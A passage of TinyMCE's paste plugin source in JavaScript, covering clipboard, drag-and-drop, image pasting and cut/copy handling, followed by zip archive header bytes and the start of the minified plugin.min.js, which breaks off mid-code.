      var mceInternalUrlPrefix = 'data:text/mce-internal,';
      if (dataTransfer) {
        if (dataTransfer.getData) {
          var legacyText = dataTransfer.getData('Text');
          if (legacyText && legacyText.length > 0) {
            if (legacyText.indexOf(mceInternalUrlPrefix) === -1) {
              items['text/plain'] = legacyText;
            }
          }
        }
        if (dataTransfer.types) {
          for (var i = 0; i < dataTransfer.types.length; i++) {
            var contentType = dataTransfer.types[i];
            try {
              items[contentType] = dataTransfer.getData(contentType);
            } catch (ex) {
              items[contentType] = '';
            }
          }
        }
      }
      return items;
    };
    var getClipboardContent = function (editor, clipboardEvent) {
      var content = getDataTransferItems(clipboardEvent.clipboardData || editor.getDoc().dataTransfer);
      return Utils.isMsEdge() ? global$4.extend(content, { 'text/html': '' }) : content;
    };
    var hasContentType = function (clipboardContent, mimeType) {
      return mimeType in clipboardContent && clipboardContent[mimeType].length > 0;
    };
    var hasHtmlOrText = function (content) {
      return hasContentType(content, 'text/html') || hasContentType(content, 'text/plain');
    };
    var getBase64FromUri = function (uri) {
      var idx;
      idx = uri.indexOf(',');
      if (idx !== -1) {
        return uri.substr(idx + 1);
      }
      return null;
    };
    var isValidDataUriImage = function (settings, imgElm) {
      return settings.images_dataimg_filter ? settings.images_dataimg_filter(imgElm) : true;
    };
    var extractFilename = function (editor, str) {
      var m = str.match(/([\s\S]+?)\.(?:jpeg|jpg|png|gif)$/i);
      return m ? editor.dom.encode(m[1]) : null;
    };
    var uniqueId = Utils.createIdGenerator('mceclip');
    var pasteImage = function (editor, imageItem) {
      var base64 = getBase64FromUri(imageItem.uri);
      var id = uniqueId();
      var name = editor.settings.images_reuse_filename && imageItem.blob.name ? extractFilename(editor, imageItem.blob.name) : id;
      var img = new domGlobals.Image();
      img.src = imageItem.uri;
      if (isValidDataUriImage(editor.settings, img)) {
        var blobCache = editor.editorUpload.blobCache;
        var blobInfo = void 0, existingBlobInfo = void 0;
        existingBlobInfo = blobCache.findFirst(function (cachedBlobInfo) {
          return cachedBlobInfo.base64() === base64;
        });
        if (!existingBlobInfo) {
          blobInfo = blobCache.create(id, imageItem.blob, base64, name);
          blobCache.add(blobInfo);
        } else {
          blobInfo = existingBlobInfo;
        }
        pasteHtml$1(editor, '<img src="' + blobInfo.blobUri() + '">', false);
      } else {
        pasteHtml$1(editor, '<img src="' + imageItem.uri + '">', false);
      }
    };
    var isClipboardEvent = function (event) {
      return event.type === 'paste';
    };
    var readBlobsAsDataUris = function (items) {
      return mapM(items, function (item) {
        return Future.nu(function (resolve) {
          var blob = item.getAsFile ? item.getAsFile() : item;
          var reader = new window.FileReader();
          reader.onload = function () {
            resolve({
              blob: blob,
              uri: reader.result
            });
          };
          reader.readAsDataURL(blob);
        });
      });
    };
    var getImagesFromDataTransfer = function (dataTransfer) {
      var items = dataTransfer.items ? map(from$1(dataTransfer.items), function (item) {
        return item.getAsFile();
      }) : [];
      var files = dataTransfer.files ? from$1(dataTransfer.files) : [];
      var images = filter$1(items.length > 0 ? items : files, function (file) {
        return /^image\/(jpeg|png|gif|bmp)$/.test(file.type);
      });
      return images;
    };
    var pasteImageData = function (editor, e, rng) {
      var dataTransfer = isClipboardEvent(e) ? e.clipboardData : e.dataTransfer;
      if (editor.settings.paste_data_images && dataTransfer) {
        var images = getImagesFromDataTransfer(dataTransfer);
        if (images.length > 0) {
          e.preventDefault();
          readBlobsAsDataUris(images).get(function (blobResults) {
            if (rng) {
              editor.selection.setRng(rng);
            }
            each(blobResults, function (result) {
              pasteImage(editor, result);
            });
          });
          return true;
        }
      }
      return false;
    };
    var isBrokenAndroidClipboardEvent = function (e) {
      var clipboardData = e.clipboardData;
      return domGlobals.navigator.userAgent.indexOf('Android') !== -1 && clipboardData && clipboardData.items && clipboardData.items.length === 0;
    };
    var isKeyboardPasteEvent = function (e) {
      return global$5.metaKeyPressed(e) && e.keyCode === 86 || e.shiftKey && e.keyCode === 45;
    };
    var registerEventHandlers = function (editor, pasteBin, pasteFormat) {
      var keyboardPasteEvent = value();
      var keyboardPastePlainTextState;
      editor.on('keydown', function (e) {
        function removePasteBinOnKeyUp(e) {
          if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
            pasteBin.remove();
          }
        }
        if (isKeyboardPasteEvent(e) && !e.isDefaultPrevented()) {
          keyboardPastePlainTextState = e.shiftKey && e.keyCode === 86;
          if (keyboardPastePlainTextState && global$2.webkit && domGlobals.navigator.userAgent.indexOf('Version/') !== -1) {
            return;
          }
          e.stopImmediatePropagation();
          keyboardPasteEvent.set(e);
          window.setTimeout(function () {
            keyboardPasteEvent.clear();
          }, 100);
          if (global$2.ie && keyboardPastePlainTextState) {
            e.preventDefault();
            Events.firePaste(editor, true);
            return;
          }
          pasteBin.remove();
          pasteBin.create();
          editor.once('keyup', removePasteBinOnKeyUp);
          editor.once('paste', function () {
            editor.off('keyup', removePasteBinOnKeyUp);
          });
        }
      });
      function insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal) {
        var content, isPlainTextHtml;
        if (hasContentType(clipboardContent, 'text/html')) {
          content = clipboardContent['text/html'];
        } else {
          content = pasteBin.getHtml();
          internal = internal ? internal : InternalHtml.isMarked(content);
          if (pasteBin.isDefaultContent(content)) {
            plainTextMode = true;
          }
        }
        content = Utils.trimHtml(content);
        pasteBin.remove();
        isPlainTextHtml = internal === false && Newlines.isPlainText(content);
        if (!content.length || isPlainTextHtml) {
          plainTextMode = true;
        }
        if (plainTextMode) {
          if (hasContentType(clipboardContent, 'text/plain') && isPlainTextHtml) {
            content = clipboardContent['text/plain'];
          } else {
            content = Utils.innerText(content);
          }
        }
        if (pasteBin.isDefaultContent(content)) {
          if (!isKeyBoardPaste) {
            editor.windowManager.alert('Please use Ctrl+V/Cmd+V keyboard shortcuts to paste contents.');
          }
          return;
        }
        if (plainTextMode) {
          pasteText(editor, content);
        } else {
          pasteHtml$1(editor, content, internal);
        }
      }
      var getLastRng = function () {
        return pasteBin.getLastRng() || editor.selection.getRng();
      };
      editor.on('paste', function (e) {
        var isKeyBoardPaste = keyboardPasteEvent.isSet();
        var clipboardContent = getClipboardContent(editor, e);
        var plainTextMode = pasteFormat.get() === 'text' || keyboardPastePlainTextState;
        var internal = hasContentType(clipboardContent, InternalHtml.internalHtmlMime());
        keyboardPastePlainTextState = false;
        if (e.isDefaultPrevented() || isBrokenAndroidClipboardEvent(e)) {
          pasteBin.remove();
          return;
        }
        if (!hasHtmlOrText(clipboardContent) && pasteImageData(editor, e, getLastRng())) {
          pasteBin.remove();
          return;
        }
        if (!isKeyBoardPaste) {
          e.preventDefault();
        }
        if (global$2.ie && (!isKeyBoardPaste || e.ieFake) && !hasContentType(clipboardContent, 'text/html')) {
          pasteBin.create();
          editor.dom.bind(pasteBin.getEl(), 'paste', function (e) {
            e.stopPropagation();
          });
          editor.getDoc().execCommand('Paste', false, null);
          clipboardContent['text/html'] = pasteBin.getHtml();
        }
        if (hasContentType(clipboardContent, 'text/html')) {
          e.preventDefault();
          if (!internal) {
            internal = InternalHtml.isMarked(clipboardContent['text/html']);
          }
          insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal);
        } else {
          global$3.setEditorTimeout(editor, function () {
            insertClipboardContent(clipboardContent, isKeyBoardPaste, plainTextMode, internal);
          }, 0);
        }
      });
    };
    var registerEventsAndFilters = function (editor, pasteBin, pasteFormat) {
      registerEventHandlers(editor, pasteBin, pasteFormat);
      var src;
      editor.parser.addNodeFilter('img', function (nodes, name, args) {
        var isPasteInsert = function (args) {
          return args.data && args.data.paste === true;
        };
        var remove = function (node) {
          if (!node.attr('data-mce-object') && src !== global$2.transparentSrc) {
            node.remove();
          }
        };
        var isWebKitFakeUrl = function (src) {
          return src.indexOf('webkit-fake-url') === 0;
        };
        var isDataUri = function (src) {
          return src.indexOf('data:') === 0;
        };
        if (!editor.settings.paste_data_images && isPasteInsert(args)) {
          var i = nodes.length;
          while (i--) {
            src = nodes[i].attributes.map.src;
            if (!src) {
              continue;
            }
            if (isWebKitFakeUrl(src)) {
              remove(nodes[i]);
            } else if (!editor.settings.allow_html_data_urls && isDataUri(src)) {
              remove(nodes[i]);
            }
          }
        }
      });
    };

    var getPasteBinParent = function (editor) {
      return global$2.ie && editor.inline ? domGlobals.document.body : editor.getBody();
    };
    var isExternalPasteBin = function (editor) {
      return getPasteBinParent(editor) !== editor.getBody();
    };
    var delegatePasteEvents = function (editor, pasteBinElm, pasteBinDefaultContent) {
      if (isExternalPasteBin(editor)) {
        editor.dom.bind(pasteBinElm, 'paste keyup', function (e) {
          if (!isDefault(editor, pasteBinDefaultContent)) {
            editor.fire('paste');
          }
        });
      }
    };
    var create = function (editor, lastRngCell, pasteBinDefaultContent) {
      var dom = editor.dom, body = editor.getBody();
      var pasteBinElm;
      lastRngCell.set(editor.selection.getRng());
      pasteBinElm = editor.dom.add(getPasteBinParent(editor), 'div', {
        'id': 'mcepastebin',
        'class': 'mce-pastebin',
        'contentEditable': true,
        'data-mce-bogus': 'all',
        'style': 'position: fixed; top: 50%; width: 10px; height: 10px; overflow: hidden; opacity: 0'
      }, pasteBinDefaultContent);
      if (global$2.ie || global$2.gecko) {
        dom.setStyle(pasteBinElm, 'left', dom.getStyle(body, 'direction', true) === 'rtl' ? 65535 : -65535);
      }
      dom.bind(pasteBinElm, 'beforedeactivate focusin focusout', function (e) {
        e.stopPropagation();
      });
      delegatePasteEvents(editor, pasteBinElm, pasteBinDefaultContent);
      pasteBinElm.focus();
      editor.selection.select(pasteBinElm, true);
    };
    var remove = function (editor, lastRngCell) {
      if (getEl(editor)) {
        var pasteBinClone = void 0;
        var lastRng = lastRngCell.get();
        while (pasteBinClone = editor.dom.get('mcepastebin')) {
          editor.dom.remove(pasteBinClone);
          editor.dom.unbind(pasteBinClone);
        }
        if (lastRng) {
          editor.selection.setRng(lastRng);
        }
      }
      lastRngCell.set(null);
    };
    var getEl = function (editor) {
      return editor.dom.get('mcepastebin');
    };
    var getHtml = function (editor) {
      var pasteBinElm, pasteBinClones, i, dirtyWrappers, cleanWrapper;
      var copyAndRemove = function (toElm, fromElm) {
        toElm.appendChild(fromElm);
        editor.dom.remove(fromElm, true);
      };
      pasteBinClones = global$4.grep(getPasteBinParent(editor).childNodes, function (elm) {
        return elm.id === 'mcepastebin';
      });
      pasteBinElm = pasteBinClones.shift();
      global$4.each(pasteBinClones, function (pasteBinClone) {
        copyAndRemove(pasteBinElm, pasteBinClone);
      });
      dirtyWrappers = editor.dom.select('div[id=mcepastebin]', pasteBinElm);
      for (i = dirtyWrappers.length - 1; i >= 0; i--) {
        cleanWrapper = editor.dom.create('div');
        pasteBinElm.insertBefore(cleanWrapper, dirtyWrappers[i]);
        copyAndRemove(cleanWrapper, dirtyWrappers[i]);
      }
      return pasteBinElm ? pasteBinElm.innerHTML : '';
    };
    var getLastRng = function (lastRng) {
      return lastRng.get();
    };
    var isDefaultContent = function (pasteBinDefaultContent, content) {
      return content === pasteBinDefaultContent;
    };
    var isPasteBin = function (elm) {
      return elm && elm.id === 'mcepastebin';
    };
    var isDefault = function (editor, pasteBinDefaultContent) {
      var pasteBinElm = getEl(editor);
      return isPasteBin(pasteBinElm) && isDefaultContent(pasteBinDefaultContent, pasteBinElm.innerHTML);
    };
    var PasteBin = function (editor) {
      var lastRng = Cell(null);
      var pasteBinDefaultContent = '%MCEPASTEBIN%';
      return {
        create: function () {
          return create(editor, lastRng, pasteBinDefaultContent);
        },
        remove: function () {
          return remove(editor, lastRng);
        },
        getEl: function () {
          return getEl(editor);
        },
        getHtml: function () {
          return getHtml(editor);
        },
        getLastRng: function () {
          return getLastRng(lastRng);
        },
        isDefault: function () {
          return isDefault(editor, pasteBinDefaultContent);
        },
        isDefaultContent: function (content) {
          return isDefaultContent(pasteBinDefaultContent, content);
        }
      };
    };

    var Clipboard = function (editor, pasteFormat) {
      var pasteBin = PasteBin(editor);
      editor.on('preInit', function () {
        return registerEventsAndFilters(editor, pasteBin, pasteFormat);
      });
      return {
        pasteFormat: pasteFormat,
        pasteHtml: function (html, internalFlag) {
          return pasteHtml$1(editor, html, internalFlag);
        },
        pasteText: function (text) {
          return pasteText(editor, text);
        },
        pasteImageData: function (e, rng) {
          return pasteImageData(editor, e, rng);
        },
        getDataTransferItems: getDataTransferItems,
        hasHtmlOrText: hasHtmlOrText,
        hasContentType: hasContentType
      };
    };

    var noop$1 = function () {
    };
    var hasWorkingClipboardApi = function (clipboardData) {
      return global$2.iOS === false && clipboardData !== undefined && typeof clipboardData.setData === 'function' && Utils.isMsEdge() !== true;
    };
    var setHtml5Clipboard = function (clipboardData, html, text) {
      if (hasWorkingClipboardApi(clipboardData)) {
        try {
          clipboardData.clearData();
          clipboardData.setData('text/html', html);
          clipboardData.setData('text/plain', text);
          clipboardData.setData(InternalHtml.internalHtmlMime(), html);
          return true;
        } catch (e) {
          return false;
        }
      } else {
        return false;
      }
    };
    var setClipboardData = function (evt, data, fallback, done) {
      if (setHtml5Clipboard(evt.clipboardData, data.html, data.text)) {
        evt.preventDefault();
        done();
      } else {
        fallback(data.html, done);
      }
    };
    var fallback = function (editor) {
      return function (html, done) {
        var markedHtml = InternalHtml.mark(html);
        var outer = editor.dom.create('div', {
          'contenteditable': 'false',
          'data-mce-bogus': 'all'
        });
        var inner = editor.dom.create('div', { contenteditable: 'true' }, markedHtml);
        editor.dom.setStyles(outer, {
          position: 'fixed',
          top: '0',
          left: '-3000px',
          width: '1000px',
          overflow: 'hidden'
        });
        outer.appendChild(inner);
        editor.dom.add(editor.getBody(), outer);
        var range = editor.selection.getRng();
        inner.focus();
        var offscreenRange = editor.dom.createRng();
        offscreenRange.selectNodeContents(inner);
        editor.selection.setRng(offscreenRange);
        setTimeout(function () {
          editor.selection.setRng(range);
          outer.parentNode.removeChild(outer);
          done();
        }, 0);
      };
    };
    var getData = function (editor) {
      return {
        html: editor.selection.getContent({ contextual: true }),
        text: editor.selection.getContent({ format: 'text' })
      };
    };
    var isTableSelection = function (editor) {
      return !!editor.dom.getParent(editor.selection.getStart(), 'td[data-mce-selected],th[data-mce-selected]', editor.getBody());
    };
    var hasSelectedContent = function (editor) {
      return !editor.selection.isCollapsed() || isTableSelection(editor);
    };
    var cut = function (editor) {
      return function (evt) {
        if (hasSelectedContent(editor)) {
          setClipboardData(evt, getData(editor), fallback(editor), function () {
            setTimeout(function () {
              editor.execCommand('Delete');
            }, 0);
          });
        }
      };
    };
    var copy = function (editor) {
      return function (evt) {
        if (hasSelectedContent(editor)) {
          setClipboardData(evt, getData(editor), fallback(editor), noop$1);
        }
      };
    };
    var register$1 = function (editor) {
      editor.on('cut', cut(editor));
      editor.on('copy', copy(editor));
    };
    var CutCopy = { register: register$1 };

    var global$b = tinymce.util.Tools.resolve('tinymce.dom.RangeUtils');

    var getCaretRangeFromEvent = function (editor, e) {
      return global$b.getCaretRangeFromPoint(e.clientX, e.clientY, editor.getDoc());
    };
    var isPlainTextFileUrl = function (content) {
      var plainTextContent = content['text/plain'];
      return plainTextContent ? plainTextContent.indexOf('file://') === 0 : false;
    };
    var setFocusedRange = function (editor, rng) {
      editor.focus();
      editor.selection.setRng(rng);
    };
    var setup = function (editor, clipboard, draggingInternallyState) {
      if (Settings.shouldBlockDrop(editor)) {
        editor.on('dragend dragover draggesture dragdrop drop drag', function (e) {
          e.preventDefault();
          e.stopPropagation();
        });
      }
      if (!Settings.shouldPasteDataImages(editor)) {
        editor.on('drop', function (e) {
          var dataTransfer = e.dataTransfer;
          if (dataTransfer && dataTransfer.files && dataTransfer.files.length > 0) {
            e.preventDefault();
          }
        });
      }
      editor.on('drop', function (e) {
        var dropContent, rng;
        rng = getCaretRangeFromEvent(editor, e);
        if (e.isDefaultPrevented() || draggingInternallyState.get()) {
          return;
        }
        dropContent = clipboard.getDataTransferItems(e.dataTransfer);
        var internal = clipboard.hasContentType(dropContent, InternalHtml.internalHtmlMime());
        if ((!clipboard.hasHtmlOrText(dropContent) || isPlainTextFileUrl(dropContent)) && clipboard.pasteImageData(e, rng)) {
          return;
        }
        if (rng && Settings.shouldFilterDrop(editor)) {
          var content_1 = dropContent['mce-internal'] || dropContent['text/html'] || dropContent['text/plain'];
          if (content_1) {
            e.preventDefault();
            global$3.setEditorTimeout(editor, function () {
              editor.undoManager.transact(function () {
                if (dropContent['mce-internal']) {
                  editor.execCommand('Delete');
                }
                setFocusedRange(editor, rng);
                content_1 = Utils.trimHtml(content_1);
                if (!dropContent['text/html']) {
                  clipboard.pasteText(content_1);
                } else {
                  clipboard.pasteHtml(content_1, internal);
                }
              });
            });
          }
        }
      });
      editor.on('dragstart', function (e) {
        draggingInternallyState.set(true);
      });
      editor.on('dragover dragend', function (e) {
        if (Settings.shouldPasteDataImages(editor) && draggingInternallyState.get() === false) {
          e.preventDefault();
          setFocusedRange(editor, getCaretRangeFromEvent(editor, e));
        }
        if (e.type === 'dragend') {
          draggingInternallyState.set(false);
        }
      });
    };
    var DragDrop = { setup: setup };

    var setup$1 = function (editor) {
      var plugin = editor.plugins.paste;
      var preProcess = Settings.getPreProcess(editor);
      if (preProcess) {
        editor.on('PastePreProcess', function (e) {
          preProcess.call(plugin, plugin, e);
        });
      }
      var postProcess = Settings.getPostProcess(editor);
      if (postProcess) {
        editor.on('PastePostProcess', function (e) {
          postProcess.call(plugin, plugin, e);
        });
      }
    };
    var PrePostProcess = { setup: setup$1 };

    function addPreProcessFilter(editor, filterFunc) {
      editor.on('PastePreProcess', function (e) {
        e.content = filterFunc(editor, e.content, e.internal, e.wordContent);
      });
    }
    function addPostProcessFilter(editor, filterFunc) {
      editor.on('PastePostProcess', function (e) {
        filterFunc(editor, e.node);
      });
    }
    function removeExplorerBrElementsAfterBlocks(editor, html) {
      if (!WordFilter.isWordContent(html)) {
        return html;
      }
      var blockElements = [];
      global$4.each(editor.schema.getBlockElements(), function (block, blockName) {
        blockElements.push(blockName);
      });
      var explorerBlocksRegExp = new RegExp('(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*(<\\/?(' + blockElements.join('|') + ')[^>]*>)(?:<br>&nbsp;[\\s\\r\\n]+|<br>)*', 'g');
      html = Utils.filter(html, [[
          explorerBlocksRegExp,
          '$1'
        ]]);
      html = Utils.filter(html, [
        [
          /<br><br>/g,
          '<BR><BR>'
        ],
        [
          /<br>/g,
          ' '
        ],
        [
          /<BR><BR>/g,
          '<br>'
        ]
      ]);
      return html;
    }
    function removeWebKitStyles(editor, content, internal, isWordHtml) {
      if (isWordHtml || internal) {
        return content;
      }
      var webKitStylesSetting = Settings.getWebkitStyles(editor);
      var webKitStyles;
      if (Settings.shouldRemoveWebKitStyles(editor) === false || webKitStylesSetting === 'all') {
        return content;
      }
      if (webKitStylesSetting) {
        webKitStyles = webKitStylesSetting.split(/[, ]/);
      }
      if (webKitStyles) {
        var dom_1 = editor.dom, node_1 = editor.selection.getNode();
        content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, function (all, before, value, after) {
          var inputStyles = dom_1.parseStyle(dom_1.decode(value));
          var outputStyles = {};
          if (webKitStyles === 'none') {
            return before + after;
          }
          for (var i = 0; i < webKitStyles.length; i++) {
            var inputValue = inputStyles[webKitStyles[i]], currentValue = dom_1.getStyle(node_1, webKitStyles[i], true);
            if (/color/.test(webKitStyles[i])) {
              inputValue = dom_1.toHex(inputValue);
              currentValue = dom_1.toHex(currentValue);
            }
            if (currentValue !== inputValue) {
              outputStyles[webKitStyles[i]] = inputValue;
            }
          }
          outputStyles = dom_1.serializeStyle(outputStyles, 'span');
          if (outputStyles) {
            return before + ' style="' + outputStyles + '"' + after;
          }
          return before + after;
        });
      } else {
        content = content.replace(/(<[^>]+) style="([^"]*)"([^>]*>)/gi, '$1$3');
      }
      content = content.replace(/(<[^>]+) data-mce-style="([^"]+)"([^>]*>)/gi, function (all, before, value, after) {
        return before + ' style="' + value + '"' + after;
      });
      return content;
    }
    function removeUnderlineAndFontInAnchor(editor, root) {
      editor.$('a', root).find('font,u').each(function (i, node) {
        editor.dom.remove(node, true);
      });
    }
    var setup$2 = function (editor) {
      if (global$2.webkit) {
        addPreProcessFilter(editor, removeWebKitStyles);
      }
      if (global$2.ie) {
        addPreProcessFilter(editor, removeExplorerBrElementsAfterBlocks);
        addPostProcessFilter(editor, removeUnderlineAndFontInAnchor);
      }
    };
    var Quirks = { setup: setup$2 };

    var stateChange = function (editor, clipboard, e) {
      var ctrl = e.control;
      ctrl.active(clipboard.pasteFormat.get() === 'text');
      editor.on('PastePlainTextToggle', function (e) {
        ctrl.active(e.state);
      });
    };
    var register$2 = function (editor, clipboard) {
      var postRender = curry(stateChange, editor, clipboard);
      editor.addButton('pastetext', {
        active: false,
        icon: 'pastetext',
        tooltip: 'Paste as text',
        cmd: 'mceTogglePlainTextPaste',
        onPostRender: postRender
      });
      editor.addMenuItem('pastetext', {
        text: 'Paste as text',
        selectable: true,
        active: clipboard.pasteFormat,
        cmd: 'mceTogglePlainTextPaste',
        onPostRender: postRender
      });
    };
    var Buttons = { register: register$2 };

    global$1.add('paste', function (editor) {
      if (DetectProPlugin.hasProPlugin(editor) === false) {
        var userIsInformedState = Cell(false);
        var draggingInternallyState = Cell(false);
        var pasteFormat = Cell(Settings.isPasteAsTextEnabled(editor) ? 'text' : 'html');
        var clipboard = Clipboard(editor, pasteFormat);
        var quirks = Quirks.setup(editor);
        Buttons.register(editor, clipboard);
        Commands.register(editor, clipboard, userIsInformedState);
        PrePostProcess.setup(editor);
        CutCopy.register(editor);
        DragDrop.setup(editor, clipboard, draggingInternallyState);
        return Api.get(clipboard, quirks);
      }
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
PK�\d[�xKbuxuxpaste/plugin.min.jsnu�[���!function(v){"use strict";var p=function(t){var e=t,n=function(){return e};return{get:n,set:function(t){e=t},clone:function(){return p(n())}}},e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(t){return!(!/(^|[ ,])powerpaste([, ]|$)/.test(t.settings.plugins)||!e.get("powerpaste")||("undefined"!=typeof v.window.console&&v.window.console.log&&v.window.console.log("PowerPaste is incompatible with Paste plugin! Remove 'paste' from the 'plugins' option."),0))},u=function(t,e){return{clipboard:t,quirks:e}},d=function(t,e,n,r){return t.fire("PastePreProcess",{content:e,internal:n,wordContent:r})},m=function(t,e,n,r){return t.fire("PastePostProcess",{node:e,internal:n,wordContent:r})},s=function(t,e){return t.fire("PastePlainTextToggle",{state:e})},n=function(t,e){return t.fire("paste",{ieFake:e})},g={shouldPlainTextInform:function(t){return t.getParam("paste_plaintext_inform",!0)},shouldBlockDrop:function(t){return t.getParam("paste_block_drop",!1)},shouldPasteDataImages:function(t){return t.getParam("paste_data_images",!1)},shouldFilterDrop:function(t){return t.getParam("paste_filter_drop",!0)},getPreProcess:function(t){return t.getParam("paste_preprocess")},getPostProcess:function(t){return t.getParam("paste_postprocess")},getWebkitStyles:function(t){return t.getParam("paste_webkit_styles")},shouldRemoveWebKitStyles:function(t){return t.getParam("paste_remove_styles_if_webkit",!0)},shouldMergeFormats:function(t){return t.getParam("paste_merge_formats",!0)},isSmartPasteEnabled:function(t){return t.getParam("smart_paste",!0)},isPasteAsTextEnabled:function(t){return t.getParam("paste_as_text",!1)},getRetainStyleProps:function(t){return t.getParam("paste_retain_style_properties")},getWordValidElements:function(t){return t.getParam("paste_word_valid_elements","-strong/b,-em/i,-u,-span,-p,-ol,-ul,-li,-h1,-h2,-h3,-h4,-h5,-h6,-p/div,-a[href|name],sub,sup,strike,br,del,table[width],tr,td[colspan|rowspan|width],th[colspan|rowspan|width],thead,tfoot,tbody")},shouldConvertWordFakeLists:function(t){return t.getParam("paste_convert_word_fake_lists",!0)},shouldUseDefaultFilters:function(t){return t.getParam("paste_enable_default_filters",!0)}},r=function(t,e,n){var r,o,i;"text"===e.pasteFormat.get()?(e.pasteFormat.set("html"),s(t,!1)):(e.pasteFormat.set("text"),s(t,!0),i=t,!1===n.get()&&g.shouldPlainTextInform(i)&&(o="Paste is now in plain text mode. Contents will now be pasted as plain text until you toggle this option off.",(r=t).notificationManager.open({text:r.translate(o),type:"info"}),n.set(!0))),t.focus()},c=function(t,n,e){t.addCommand("mceTogglePlainTextPaste",function(){r(t,n,e)}),t.addCommand("mceInsertClipboardContent",function(t,e){e.content&&n.pasteHtml(e.content,e.internal),e.text&&n.pasteText(e.text)})},h=tinymce.util.Tools.resolve("tinymce.Env"),y=tinymce.util.Tools.resolve("tinymce.util.Delay"),b=tinymce.util.Tools.resolve("tinymce.util.Tools"),o=tinymce.util.Tools.resolve("tinymce.util.VK"),t="x-tinymce/html",i="\x3c!-- "+t+" --\x3e",l=function(t){return i+t},f=function(t){return t.replace(i,"")},w=function(t){return-1!==t.indexOf(i)},x=function(){return t},_=tinymce.util.Tools.resolve("tinymce.html.Entities"),P=function(t){return t.replace(/\r?\n/g,"<br>")},T=function(t,e,n){var r=t.split(/\n\n/),o=function(t,e){var n,r=[],o="<"+t;if("object"==typeof e){for(n in e)e.hasOwnProperty(n)&&r.push(n+'="'+_.encodeAllRaw(e[n])+'"');r.length&&(o+=" "+r.join(" "))}return o+">"}(e,n),i="</"+e+">",a=b.map(r,function(t){return t.split(/\n/).join("<br />")});return 1===a.length?a[0]:b.map(a,function(t){return o+t+i}).join("")},D=function(t){return!/<(?:\/?(?!(?:div|p|br|span)>)\w+|(?:(?!(?:span style="white-space:\s?pre;?">)|br\s?\/>))\w+\s[^>]+)>/i.test(t)},C=function(t,e,n){return e?T(t,e,n):P(t)},k=tinymce.util.Tools.resolve("tinymce.html.DomParser"),F=tinymce.util.Tools.resolve("tinymce.html.Serializer"),E=tinymce.util.Tools.resolve("tinymce.html.Node"),R=tinymce.util.Tools.resolve("tinymce.html.Schema");function I(e,t){return b.each(t,function(t){e=t.constructor===RegExp?e.replace(t,""):e.replace(t[0],t[1])}),e}var O={filter:I,innerText:function(e){var n=R(),r=k({},n),o="",i=n.getShortEndedElements(),a=b.makeMap("script noscript style textarea video audio iframe object"," "),u=n.getBlockElements();return e=I(e,[/<!\[[^\]]+\]>/g]),function t(e){var n=e.name,r=e;if("br"!==n){if("wbr"!==n)if(i[n]&&(o+=" "),a[n])o+=" ";else{if(3===e.type&&(o+=e.value),!e.shortEnded&&(e=e.firstChild))for(;t(e),e=e.next;);u[n]&&r.next&&(o+="\n","p"===n&&(o+="\n"))}}else o+="\n"}(r.parse(e)),o},trimHtml:function(t){return t=I(t,[/^[\s\S]*<body[^>]*>\s*|\s*<\/body[^>]*>[\s\S]*$/gi,/<!--StartFragment-->|<!--EndFragment-->/g,[/( ?)<span class="Apple-converted-space">\u00a0<\/span>( ?)/g,function(t,e,n){return e||n?"\xa0":" "}],/<br class="Apple-interchange-newline">/g,/<br>$/i])},createIdGenerator:function(t){var e=0;return function(){return t+e++}},isMsEdge:function(){return-1!==v.navigator.userAgent.indexOf(" Edge/")}};function S(e){var n,t;return t=[/^[IVXLMCD]{1,2}\.[ \u00a0]/,/^[ivxlmcd]{1,2}\.[ \u00a0]/,/^[a-z]{1,2}[\.\)][ \u00a0]/,/^[A-Z]{1,2}[\.\)][ \u00a0]/,/^[0-9]+\.[ \u00a0]/,/^[\u3007\u4e00\u4e8c\u4e09\u56db\u4e94\u516d\u4e03\u516b\u4e5d]+\.[ \u00a0]/,/^[\u58f1\u5f10\u53c2\u56db\u4f0d\u516d\u4e03\u516b\u4e5d\u62fe]+\.[ \u00a0]/],e=e.replace(/^[\u00a0 ]+/,""),b.each(t,function(t){if(t.test(e))return!(n=!0)}),n}function A(t){var i,a,u=1;function n(t){var e="";if(3===t.type)return t.value;if(t=t.firstChild)for(;e+=n(t),t=t.next;);return e}function s(t,e){if(3===t.type&&e.test(t.value))return t.value=t.value.replace(e,""),!1;if(t=t.firstChild)do{if(!s(t,e))return!1}while(t=t.next);return!0}function e(e,n,r){var o=e._listLevel||u;o!==u&&(o<u?i&&(i=i.parent.parent):(a=i,i=null)),i&&i.name===n?i.append(e):(a=a||i,i=new E(n,1),1<r&&i.attr("start",""+r),e.wrap(i)),e.name="li",u<o&&a&&a.lastChild.append(i),u=o,function t(e){if(e._listIgnore)e.remove();else if(e=e.firstChild)for(;t(e),e=e.next;);}(e),s(e,/^\u00a0+/),s(e,/^\s*([\u2022\u00b7\u00a7\u25CF]|\w+\.)/),s(e,/^\u00a0+/)}for(var r=[],o=t.firstChild;null!=o;)if(r.push(o),null!==(o=o.walk()))for(;void 0!==o&&o.parent!==t;)o=o.walk();for(var c=0;c<r.length;c++)if("p"===(t=r[c]).name&&t.firstChild){var l=n(t);if(/^[\s\u00a0]*[\u2022\u00b7\u00a7\u25CF]\s*/.test(l)){e(t,"ul");continue}if(S(l)){var f=/([0-9]+)\./.exec(l),d=1;f&&(d=parseInt(f[1],10)),e(t,"ol",d);continue}if(t._listLevel){e(t,"ul",1);continue}i=null}else a=i,i=null}function j(n,r,o,i){var a,u={},t=n.dom.parseStyle(i);return b.each(t,function(t,e){switch(e){case"mso-list":(a=/\w+ \w+([0-9]+)/i.exec(i))&&(o._listLevel=parseInt(a[1],10)),/Ignore/i.test(t)&&o.firstChild&&(o._listIgnore=!0,o.firstChild._listIgnore=!0);break;case"horiz-align":e="text-align";break;case"vert-align":e="vertical-align";break;case"font-color":case"mso-foreground":e="color";break;case"mso-background":case"mso-highlight":e="background";break;case"font-weight":case"font-style":return void("normal"!==t&&(u[e]=t));case"mso-element":if(/^(comment|comment-list)$/i.test(t))return void o.remove()}0!==e.indexOf("mso-comment")?0!==e.indexOf("mso-")&&("all"===g.getRetainStyleProps(n)||r&&r[e])&&(u[e]=t):o.remove()}),/(bold)/i.test(u["font-weight"])&&(delete u["font-weight"],o.wrap(new 